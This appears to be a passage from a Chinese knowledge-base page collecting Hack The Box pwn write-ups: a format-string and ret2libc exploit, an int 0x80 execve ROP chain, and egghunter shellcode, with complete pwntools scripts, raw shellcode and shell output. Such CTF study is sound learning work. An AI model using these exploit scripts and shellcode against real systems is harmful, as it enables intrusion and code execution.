39: (nil)
```

15th pointer from the stack is the same locally as on the remote binary and points to: 0x55cd3406874a <fox_bar+106> it will be used to calculate the base address of binary.

#### 4. PIE bypass - calculate ELF base:

This step could be omitted but I left it because maybe someone will find it useful.

 - Leak <fox_bar+106> .
 - Using relative addressing calculate the ELF base address.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say6.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say7.jpg)

sleep(0.5) between the sending / receiving the data needs to be implemented because the exploit will calculate the addresses before it receives the data from the socket.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say8.jpg)

#### 5. Spot the second vulnerability - Buffer overflow:

Another vulnerability lies in the warning() which is being called after choosing Kryptonite vodka.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say9.jpg)

If (1) the user has less than 20 stones, (2) he is asked if he really wants to buy Kryptonite vodka.

Users can enter more than 24B (3), thus overflowing the stack.

At the end of the function, there is a Stack Canary check (4).

#### 6. Stack Canary bypass - leak the canary:

A terminator canary contains NULL(0x00), CR (0x0d), LF (0x0a), and EOF (0xff), four characters that should terminate most string operations, rendering the overflow attempt harmless

 - If you look closely at the leaked addresses, you will notice few ending on \x00 bytes which might indicate a terminator.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say10.jpg)

19th pointer is the main+55 instruction which is close to stack_chk_fail (terminate a function in case of stack overflow) so the 23rd pointer is the Stack canary.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say11.jpg)

Leak the Stack Canary.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say12.jpg)

To successfully bypass the Stack Canary security control during overflow, you got to first leak this canary as shown above and then spent rocks until you got less than 20 to trigger the warning() .

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say13.jpg)

Then attach the GDB and set the breakpoint @warning + 274

Enter random 24 bytes, then stack canary and use cyclic() to overflow the return address to confirm the control over the execution flow.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say14.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say15.jpg)

The first 8 bytes after the terminator will be stored in the RBP register and then all bytes after are stored in RSP.

The next instruction will return to the value in RSP so ROP chain will start at 9B of input after the terminator.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say16.jpg)

#### 7. Leak the libc version from the remote system:

In order to conduct the ret2libc attack, you have to leak the libc base address first.

25th pointer 0x7ffff7ddd0b3 leaked via format string vulnerability points to __libc_start_main .

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say17.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say18.jpg)

It can be used to calculate the base address of libc and the ROP chain.

First leak this address from the remote target.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say19.jpg)

Running exploit twice shows that there is ASLR being used.

Use [https://libc.blukat.me/](https://libc.blukat.me/) with the leaked address to check the libc version being used on the remote system.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say20.jpg)

Download the libc and search for one_gadget within it.

 - [https://libc.blukat.me/?q=__libc_start_main_ret:0x7fe097c4fb97&l=libc6_2.27-3ubuntu1.2_amd64](https://libc.blukat.me/?q=__libc_start_main_ret:0x7fe097c4fb97&l=libc6_2.27-3ubuntu1.2_amd64)

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/What_does_the_f_say_]
└─# one_gadget libc6_2.27-3ubuntu1.2_amd64.so 
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

#### 8. ASLR bypass - calculate addresses during runtime:

First, calculate the base libc address, then add it to the one_gadget.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say21.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say22.jpg)

#### 9. Final exploit:

 - getshell.py

``` python
import sys
from pwn import *
from time import sleep

context.log_level = 'info'
#p = process("./what_does_the_f_say")

p = remote("46.101.23.188", 31191)
elf = ELF("what_does_the_f_say")
libc = ELF("./libc6_2.27-3ubuntu1.2_amd64.so")

def go_to_krypto():
	p.sendline("1")
	sleep(0.5)
	p.recv()
	p.sendline("2")
	sleep(0.5)
	p.recv()

# PIE - Calculating base address of the binary ---
def calculate_elf_basse():
	go_to_krypto()
	p.sendline("%15$p")
	sleep(0.5)
	leak_fox_bar = int(p.recv().split("\n\n")[0].rstrip(),16)
	log.success("Leaked fox_bar+106:  \t0x{0:x}".format(leak_fox_bar))
	base_elf = leak_fox_bar - 0x174a
	log.success("ELF base address:\t\t0x{0:x}".format(base_elf))
	elf.address = base_elf # updating ELF


# SC - Leaking the canary ---
def leak_the_canary():
	go_to_krypto()
	p.sendline("%23$p")
	sleep(0.5)
	leak_stack_canary = int(p.recv().split("\n\n")[0].rstrip(),16)
	log.success("Leaked Stack Canary: \t0x{0:x}".format(leak_stack_canary))
	return leak_stack_canary

# Trigger warning function ---
def go_to_warning():
	# Current space rocks: 55.89
	for i in range(0,5):
		p.sendline("2")
		sleep(0.5)
		p.recv()
		p.sendline("3")
		sleep(0.5)
		p.recv()

# BO - jump over canary & control the execuction flow ---
def overflow_warning(stack_canary, rop_chain):
	go_to_krypto()
	p.sendline("RED")
	sleep(0.5)
	p.recv()
	p.sendline("A"*24 + p64(stack_canary) + "A" * 8  + p64(rop_chain))

# Leak libc address ---
def leak_libc():
	go_to_krypto()
	p.sendline("%25$p")
	sleep(0.5)
	leak_libc = int(p.recv().split("\n\n")[0].rstrip(),16)
	log.success("Leaked libc address: \t0x{0:x}".format(leak_libc))
	return leak_libc

# ASLR - calculating base of libc and one_gadget ---
def calculate_rop_chain(leak_libc):
	base_libc = leak_libc - 0x021b97
	log.success("Base libc address:   \t0x{0:x}".format(base_libc))
	rop_chain = base_libc + 0x4f365
	log.success("One_gadget address:  \t0x{0:x}".format(rop_chain))
	return rop_chain

calculate_elf_basse()
leak_libc = leak_libc()
rop_chain = calculate_rop_chain(leak_libc)
stack_canary = leak_the_canary()
go_to_warning()
overflow_warning(stack_canary, rop_chain)

p.interactive()
```

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/What_does_the_f_say_]
└─# python getshell.py                                                                                                               
[+] Opening connection to 46.101.23.188 on port 31191: Done
[*] '/root/hackthebox/challenge/pwn/What_does_the_f_say_/what_does_the_f_say'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/root/hackthebox/challenge/pwn/What_does_the_f_say_/libc6_2.27-3ubuntu1.2_amd64.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Leaked fox_bar+106:      0x55a62406174a
[+] ELF base address:        0x55a624060000
[+] Leaked libc address:     0x7fa734f09b97
[+] Base libc address:       0x7fa734ee8000
[+] One_gadget address:      0x7fa734f37365
[+] Leaked Stack Canary:     0x1a2e9dc3778edc00
[*] Switching to interactive mode
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
ctf
$ ls
flag.txt
run_challenge.sh
what_does_the_f_say
$ cat flag.txt
HTB{th3_f_s4ys_f0rm4t_str1ng!!}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/wtf-say23.jpg)

#### 摘自(致敬原作)......

 - 浏览medium.com博客每月有次数限制，并且5$收费，故摘录文章。。。
 - [PWN What does the f say? - HTB](https://karol-mazurek95.medium.com/pwn-what-does-the-f-say-htb-5df7a99e43ea)
<!-- kb:end what-dose-the-f-say -->

</details>




# ROP、SROP、JOP 与系统调用

本章按原解法比较返回地址链、信号帧和调度表对寄存器的控制方式。执行页权限、输入分段、栈位置和 libc 版本都属于复现条件，最终脚本之前的推导一并保留。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/rop/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

execve 与 mprotect 两篇实验保留可写区选择、页对齐和 read 输入的先后关系。

Sick ROP 利用 read 返回值设置 RAX，No Return 则围绕 dispatcher 组织 JOP。

Restaurant 的二阶段地址泄漏与 Hunting 的页面访问检查保留原始收发及异常处理。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [基于 int 0x80 的 execve 调用](#case-bin-sh-via-syscall) | bin-sh-via-syscall | ROP、x86、系统调用 |
| [内存页可达性与 Egghunter](#case-hunting) | hunting | Egghunter、Shellcode、系统调用 |
| [页权限与分段输入](#case-mprotect-and-shellcode) | mprotect-and-shellcode | ROP、mprotect、NX |
| [无 ret 条件下的 JOP 调度表](#case-noreturn) | noreturn | JOP、代码复用、系统调用 |
| [两阶段 ret2libc 与接收时序](#case-pwn-restaurant) | pwn-restaurant | ROP、ret2libc、ASLR |
| [read 返回值与 sigreturn frame](#case-sick-rop) | sick-rop | SROP、mprotect、ROP |

<a id="case-bin-sh-via-syscall"></a>

## 基于 int 0x80 的 execve 调用

先确定可写内存，再逐步写入字符串和指针，设置 EAX、EBX、ECX、EDX 并触发系统调用。每一段 gadget 的寄存器副作用均可回看。

<p class="kb-provenance">来源 bin-sh-via-syscall · 原记录 2021-09-14 · 15 个代码块 · 1 处图片引用</p>

<details class="kb-evidence" id="record-bin-sh-via-syscall">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start bin-sh-via-syscall -->

为了用sys_execve syscall执行/bin/sh，需要解决一些障碍，根据参考，需要设置寄存器如下;

EAX = 11 (or 0x0B in hex) – The execve syscall number
EBX = Address in memory of the string "/bin/sh"
ECX = Address of a pointer to the string "/bin/sh"
EDX = Null (可选的指向描述环境的结构的指针)

一旦所有这些都设置好了，执行int 0x80指令应该会生成一个shell。



#### 后面的工作

从想要的开始, 一次性链接一起解决问题, 直到已经完成了利用链, ROP exploitation的本质是解决一个问题常常引入另一个, 所以它重要, 集中和逻辑, 总是寻找不同的路线和替代解决方案。

首先需要的是放置/bin/sh字符串的地方，还需要一种方法将这个字符串写入这个选择的位置，以及一个包含指向这个位置的指针的内存地址。还需要能够向EDX写入空值(这通常是有问题的)，并向EAX、EBX和ECX写入任意值。最后，需要一个int 0x80指令。

#### Gadgets

可以用gadget的二进制, gadget是一个有用的ret指令, ret指令是至关重要的, 因为这是允许链接多个gadgets连接到一个链, 然后执行流, 返回从一个指令。如果exploit是一条链那么每个gadget都是链中的一环。

有许多工具可以简化寻找gadget和构建ROP链的过程，但暂时不考虑这些工具，而是自己动手，以确保对整个过程有一个很好的理解。

虽然正在看的二进制文件相当小，但它包含了很多gadgets，包括一个可疑的密集指令区域，看起来就像是故意构建的。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bin-sh-via-syscall.jpg)

这部分内存包含了需要的所有东西------从将数据从堆栈中弹出到EAX、EBX、ECX和EDX的gadget开始。如果控制了堆栈，那么就可以设置这些寄存器的值。

例如，从0x08048225开始的指令是pop %eax; ret，这个gadget获取堆栈顶部的任意4个字节，并将它们放入EAX寄存器，对堆栈指针加1，然后返回到下一个地址。为了使用它，将以下内容放入链中;

``` bash
[0x08048225][<Value to put into EAX>][<Next Gadget>] ...
```

还有gadget xor %edx,%edx; ret — 如果不能在漏洞中发送空字节，这将非常方便，因为已经知道需要将EDX设置为0。对寄存器自身进行0. XORing是使其归零的常用方法。

接下来，就得到了一个真正强大的工具 - 在0x0804822F的gadget是 mov %eax, (%edx); ret 将获取EAX中的任何内容，并将其复制到EDX中的地址所在的内存位置，因为可以将其与前面的gadget链接起来，以控制EAX和EDX的值，这就形成了write-what-where原语。

最后，可以在0x8048210找到一个int 0x80; ret gadget

#### 可写内存

着手将想要执行的命令的字符串写进程序的内存中。可以通过 objdump -x 找到一个合适的可写内存部分

``` bash
4 .bss 0000001c 0804a000 0804a000 00001000 2**2
ALLOC
```

值得注意的是，这个内存位置在最不重要的位置包含一个空字节，如果需要，可以添加一个小偏移量来避免这种情况，比如0x0804A004

#### Exploit

这是大量的[准备工作](https://failingsilently.wordpress.com/2017/12/14/bin-sh-rop-exploit/)，现在可以开始编写exploit了。正如在开始时提到的，为了获得最大的可读性，布局代码非常重要，所以要做的第一件事是为所有gadget提供可读的名称，并定义一个函数address()来进行小端地址转换。

``` bash
pop_eax = 0x08048225
pop_ebx = 0x08048227
pop_ecx = 0x08048229
pop_edx = 0x0804822B
zero_edx = 0x08048220
writewhatwhere = 0x0804822f
execute_syscall = 0x08048210
 
def address(data):
    return struct.pack("&lt;L", data)
```

还需要设置变量来保存可写内存地址，想放在那里的字符串，要放入64字节中的填充，最后是要覆盖EBP的垃圾值。因为这不会影响利用，它是一个小细节，但它有助于安排一切有条不紊。

``` bash
writable_memory=0x0804a010   # .bss section is writable
padding = " "                # we'll use spaces as padding
text = "A shell\n\n\n"       # Flavor text
EBPoverwrite = "AAAA"        # Bytes to overwrite EBP
```

知道在利用缓冲区中控制了68字节的EIP，因此可以用64字节 + 4字节构建缓冲区的第一部分来覆盖EBP

``` bash
buffer = text + padding * (64 - len(text))
buffer += EBPoverwrite
```

#### String Write 1

利用缓冲区中接下来的4个字节是设置EIP的第一个值，也是ROP链的开始。第一个任务是使用write-what-where函数将字符串 "/bin/sh" 放入内存，作为syscall的参数1，第一步是将要写入的值放入EAX。

``` bash
buffer += address(pop_eax) # place value into EAX
buffer += "/bin"           # 4 bytes at a time
```

当执行pop EAX gadget时，ESP将指向下一个4字节的字，即对应于ascii字符串 "/bin" 的字节。
下一步是使用pop edx gadget将想要写入的地址放入edx中

``` bash
buffer += address(pop_edx)         # place value into edx
buffer += address(writable_memory)
```

在这里使用address函数将字节重新排序为小的端序，因为两者都是内存地址。
最后，调用 mov %eax, (%edx) gadget来写内存

``` bash
buffer += address(writewhatwhere)
```

#### String Write 2

现在重复这个过程，将字符串的下一个4个字节写入内存。从技术上讲，只剩下3个字节可以写入，但可以稍微作弊一下，因为多个/字符会被execve忽略。写 "//sh" 需要更新EDX以添加 +4 偏移量，并更改EAX中的值。

``` bash
buffer += address(pop_eax)
buffer += "//sh"
buffer += address(pop_edx)
buffer += address(writable_memory + 4)
buffer += address(writewhatwhere)
```

字符串需要以空结束，在这里写入的内存被初始化为0，所以在这种情况下不需要担心，但它值得记住。

#### Address Write

现在需要的字符串在内存中，还需要向内存中写入指向它的指针。这是write-what-where原语的另一种用法。注意，写的偏移量是+12而不是+8，因为需要null结束字符串，不能把指针写在它旁边，需要有一个小的间隙。

``` bash
# write the address containing /bin/sh string into memory
buffer += address(pop_eax)
buffer += address(writable_memory)
buffer += address(pop_edx)
buffer += address(writable_memory + 12)
buffer += address(writewhatwhere)
```

#### Zero EDX

需要的第三个参数存储在EDX中，应该是0x00000000。可以使用pop_edx gadget将空值移动到寄存器中，在这种情况下，这很好，因为可以在exploit中写入空值。或者，可以使用 xor %edx, %edx gadget，这是一种更通用的方法，因为0x00经常是一个坏字符。现在已经完成了write-what-where的使用，不再需要它了，所以是时候将它归零了。

``` bash
buffer += address(zero_edx)
```

#### 设置寄存器

现在是为syscall准备EBX和ECX的时候了，这是很容易做到的，因为两者都是内存位置;

``` bash
buffer += address(pop_ebx)
buffer += address(writable_memory)          # location of string /bin/sh
 
buffer += address(pop_ecx)
buffer += address(writable_memory + 12)     # address of pointer to /bin/sh
```

最后一个参数是需要放入EAX中的syscall number。同样，0x0000000B包含空字节，这可能导致一些问题是利用。可能有必要(例如)将寄存器置零，并将其增加到11，以避免坏字符，或其他一些更迂回的设置寄存器的方法。

``` bash
buffer += address(pop_eax)
buffer += struct.pack("<I", 0x0000000B)
```

#### Execve Syscall

现在该执行执行syscall了。现在正确设置了call的所有参数，这非常简单。还在这里完成了exploit，打印正在构建的缓冲区的内容。

``` bash
buffer += address(execute_syscall)
print(buffer)
```

#### 运行exploit

在测试中，可以看到shell按照预期创建，但是当主机程序关闭时，它会立即关闭。这带来了一些问题，直到一个朋友指出，这是一个众所周知的常见问题，很容易通过使用cat保持输入管道打开来解决;

``` bash
root@kali:~# python exploit.py > exploit
root@kali:~# (cat exploit; cat) | ./binary_challenge
Show me what you’ve got
:>You’ve got: A shell
AAAA%�/bin+�
id
uid=0(root) gid=0(root) groups=0(root)
```

好了，一个适用于简单缓冲区溢出的ROP exploit。这是一个很有趣的挑战，在完成它的过程中学到了很多。希望本walkthrough对您的学习有用，并/或有趣。

#### 参考链接(译)

 - [A Simple ROP Exploit – /bin/sh via syscall](https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/)
<!-- kb:end bin-sh-via-syscall -->

</details>

<a id="case-hunting"></a>

## 内存页可达性与 Egghunter

目标随机放置字符串，原链用系统调用判断页面可访问性，避免逐页搜索时崩溃。两种实现及其空间限制均保留。

<p class="kb-provenance">来源 hunting · 原记录 2021-01-27 · 10 个代码块 · 13 处图片引用</p>

<details class="kb-evidence" id="record-hunting">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start hunting -->

#### 详细过程及exp - 1

与任何二进制利用挑战一样，首先在二进制文件上运行checksec，以查看启用了哪种保护。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Hunting]
└─# file hunting 
hunting: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=2df7efc7d5a8a8e75a178f568bb114902c6955fd, for GNU/Linux 3.2.0, stripped
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Hunting]
└─# checksec hunting
[*] '/root/hackthebox/challenge/pwn/Hunting/hunting'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
```



发现NX是禁用的，这意味着可以直接执行堆栈的内容。此外，发现PIE是启用的，这意味着每次在新进程中生成二进制数据时，都会为该二进制数据选择一个新的基址。打开IDA中的二进制文件并分析它，以了解它的功能。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/hunting.jpg)

main函数的开始(尽管没有命名)显示在上面的插图中。在上面的插图中，注意到sub_12E8函数生成一个随机地址整数，然后安装exit作为SIGALRM信号处理程序，并调度一个3秒的警报计时器。这实际上意味着进程将在3秒的生命周期后结束自己。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/hunting1.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/hunting2.jpg)

在main函数的后半部分，注意到应用程序在前面生成的随机地址处分配了一个内存页。随后，应用程序将flag字符串写入新分配的内存页，并使用null-bytes填充主二进制数据段中的原始字符串，从而有效地将其从主二进制内存页中清除。最后，应用程序从标准输入读取最多60个字节(0x3c)，并将接收到的缓冲区作为可执行的内存块，然后由应用程序调用该内存块。

为了在远程内存中定位flag字符串，需要遍历远程进程中的所有内存页，直到找到flag字符串。此外，必须实现访问检查，以避免访问未分配的内存，以确保应用程序不会崩溃。最后，在定位字符串之后, 希望将字符串的内容写入标准输出。根据二进制语句用C编写的这样一个实现程序应该如下所示。

``` bash
for (uint32_t address = 0; address < 0x7fffffff; address += 0x1000)
{
    for (int i = 0; i < 0x1000; i++)
    {
        if (access(address + i + 4) == EFAULT)
            break;
        
        if (*(uint32*)address == 'HTB{')
        {
            write(1, address, strlen(address));
            exit(0);
        }
    }
    address += 0x1000;
}
```

为了把上面的代码写成x86汇编shellcode，需要弄清楚如何构造访问和编写的syscalls。

``` bash
Name	 EAX	    EBX	        ECX	    EDX	
access	 0x21	  filename	    mode	 –	
write	 0x04	     fd	        buf	   count
```

因此，需要确保启动寄存器以表现上表中所示的所需变量。代表上述C实现的x86汇编shellcode，也称为egghunter，因此在下面的Python脚本中。

 - getflag.py

``` bash
from pwn import *

buf = '\xfc'                    # cld
buf += '\x31\xd2'               # xor edx,edx
buf += '\x31\xc9'               # xor ecx,ecx

# next_page:
buf += '\x66\x81\xca\xff\x0f'   # or dx,0xfff

# next_offset:
buf += '\x42'                   # inc edx
buf += '\x8d\x5a\x04'           # lea ebx,[edx+0x04]
buf += '\x6a\x21'               # push 0x21
buf += '\x58'                   # pop eax
buf += '\xcd\x80'               # int 0x80
buf += '\x3c\xf2'               # cmp al,0xf2
buf += '\x74\xee'               # je <next_page>
buf += '\xb8\x47\x54\x42\x7b'   # mov eax,0x7b425447
buf += '\x40'                   # inc eax
buf += '\x89\xd7'               # mov edi,edx
buf += '\xaf'                   # scasd
buf += '\x75\xe8'               # jne <next_offset>

# egg_found:
buf += '\x31\xc0'               # xor eax,eax
buf += '\xb9\xff\xff\x00\x00'   # mov ecx,0xffff
buf += '\xf2\xae'               # repnz scasb
buf += '\x29\xd7'               # sub edi,edx
buf += '\x89\xd1'               # mov ecx,edx
buf += '\x89\xfa'               # mov edx,edi
buf += '\x31\xdb'               # xor ebx,ebx
buf += '\x43'                   # inc ebx
buf += '\x6a\x04'               # push 0x4
buf += '\x58'                   # pop eax
buf += '\xcd\x80'               # int 0x80

s = remote('159.65.87.50', 32542)
s.send(buf)

print s.recvuntil('\x00')[:-1]
s.close()
```

注意，从"HTB{" 字符串的整数代表中减去1，并在随后的指令中对其加1。这样做是为了确保egghunter shellcode不会在定位自身时终止。

现在，可以运行脚本从远程系统获取flag字符串。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Hunting]
└─# python getflag.py                                                                                                                    
[+] Opening connection to 178.128.161.75 on port 32045: Done
HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}
[*] Closed connection to 178.128.161.75 port 32045
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/hunting3.jpg)

#### 详细过程及exp - 2
#### 1. Basic checks:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Hunting]
└─# file hunting 
hunting: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=2df7efc7d5a8a8e75a178f568bb114902c6955fd, for GNU/Linux 3.2.0, stripped
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Hunting]
└─# checksec hunting
[*] '/root/hackthebox/challenge/pwn/Hunting/hunting'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
```

#### 2. General overview:

Since there is NX bit disabled, shellcode can be executed from the stack.

Run the binary using pwntools with attached GDB and send a unique 100B long string using [cyclic](https://docs.pwntools.com/en/stable/util/cyclic.html).

 - check.py

``` python
from pwn import *
import time

p = process("./hunting")
context.log_level = "debug"
gdb.attach(p,"c")

p.sendline(cyclic(100))
p.recv()

p.interactive()
```

Check the length of the value from EIP register.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/hunting4.jpg)

First, 4 bytes were executed immediately, so there is a total of 60B of space available to store a shellcode.

#### 3. Disassemble binary and spot the foothold:

(1) First line of main() generate a random number between 0x5fffffff and 0xf7000000 using /dev/urandom that will be used as an address for flag copied via strcpy()

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/hunting5.jpg)

(2) Then [SIGALRM](https://linuxhint.com/sigalarm_alarm_c_language/) [signal](https://www-uxsup.csx.cam.ac.uk/courses/moved.Building/signals.pdf) is set to exit() after 3 seconds

A process can request a "wake up call" from the operating system at some time in the future by calling the alarm() function. When that time comes round the wake-up call consists of this signal.

(3) mmap() creates a new mapping in the virtual address space of the calling process. The starting address for the new mapping is specified in eax which was generated in (1) first-line by sub_12e8().

(4) strcpy() copy the flag to the (1)randomly generated and (3)mapped memory space.

(5) memset() sets the first num bytes of the block of memory pointed by ptr to the specified value - in this case, zeroes previous memory space which contains the flag value.

Then 60B is (6)allocated on the heap by malloc() and read from the user input(7).

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/hunting6.jpg)

The conclusion from the above analysis is that the flag is allocated somewhere in the process memory and starts with "HTB{" bytes.

In order to find it, you can use a technique called [egg hunting](https://pentesterslife.blog/2017/11/24/x64-egg-hunting-in-linux-systems/).

There are 60 bytes of total space for shellcode.

Egghunter got only 3 seconds to find the egg.

#### 4. Prepare the egg hunter:

To delay the exit() after 3 seconds, alarm syscall will be used.

To find the egg, [access](https://man7.org/linux/man-pages/man2/access.2.html) syscall will be used.

To display the flag [write](https://man7.org/linux/man-pages/man2/write.2.html) syscall will be used.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/hunting7.jpg)

First, extend the time using alarm syscall.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/hunting8.jpg)

Then find the "HTB{" egg using access syscall.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/hunting9.jpg)

Finally, display the 24 bytes followed by the "HTB{" EGG to the STDOUT using write syscall.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/hunting10.jpg)

Use the below script to assemble, link, and extract the opcodes.

``` bash
# compile_shellcodex86
function compile_shellcodex86 {
    nasm -f elf -o "$1.o" "$1.asm"
    ld -m elf_i386 -o "$1" "$1.o"
    objdump -d "$1"|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/\ $//g'|sed 's/\ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' |tee -a "$1_extracted_shellcode"
    echo Length:`cat "$1_extracted_shellcode" | grep -o x | wc -l`
}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/hunting11.jpg)

#### 5. Final exploit:

``` python
from pwn import *
context.arch = "i386"

#p = process("./hunting")
p = remote("139.59.166.56",32302)

p.sendline("\x6a\x1b\x58\x6a\x64\x5b\xcd\x80\xbb\x48\x54\x42\x7b\xba\xff\xff\xff\x5f\x31\xc9\xb0\x21\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xcd\x80\x3c\xf2\x61\x74\xef\x39\x1a\x75\xf0\x6a\x04\x58\x6a\x01\x5b\x89\xd1\x6a\x24\x5a\xcd\x80\xeb\xc6")
p.recv()
p.interactive()
```

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Hunting]
└─# python pwnexp.py 
[+] Opening connection to 188.166.173.208 on port 31589: Done
[*] Switching to interactive mode
HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}HTB{H0w_0n_34rth_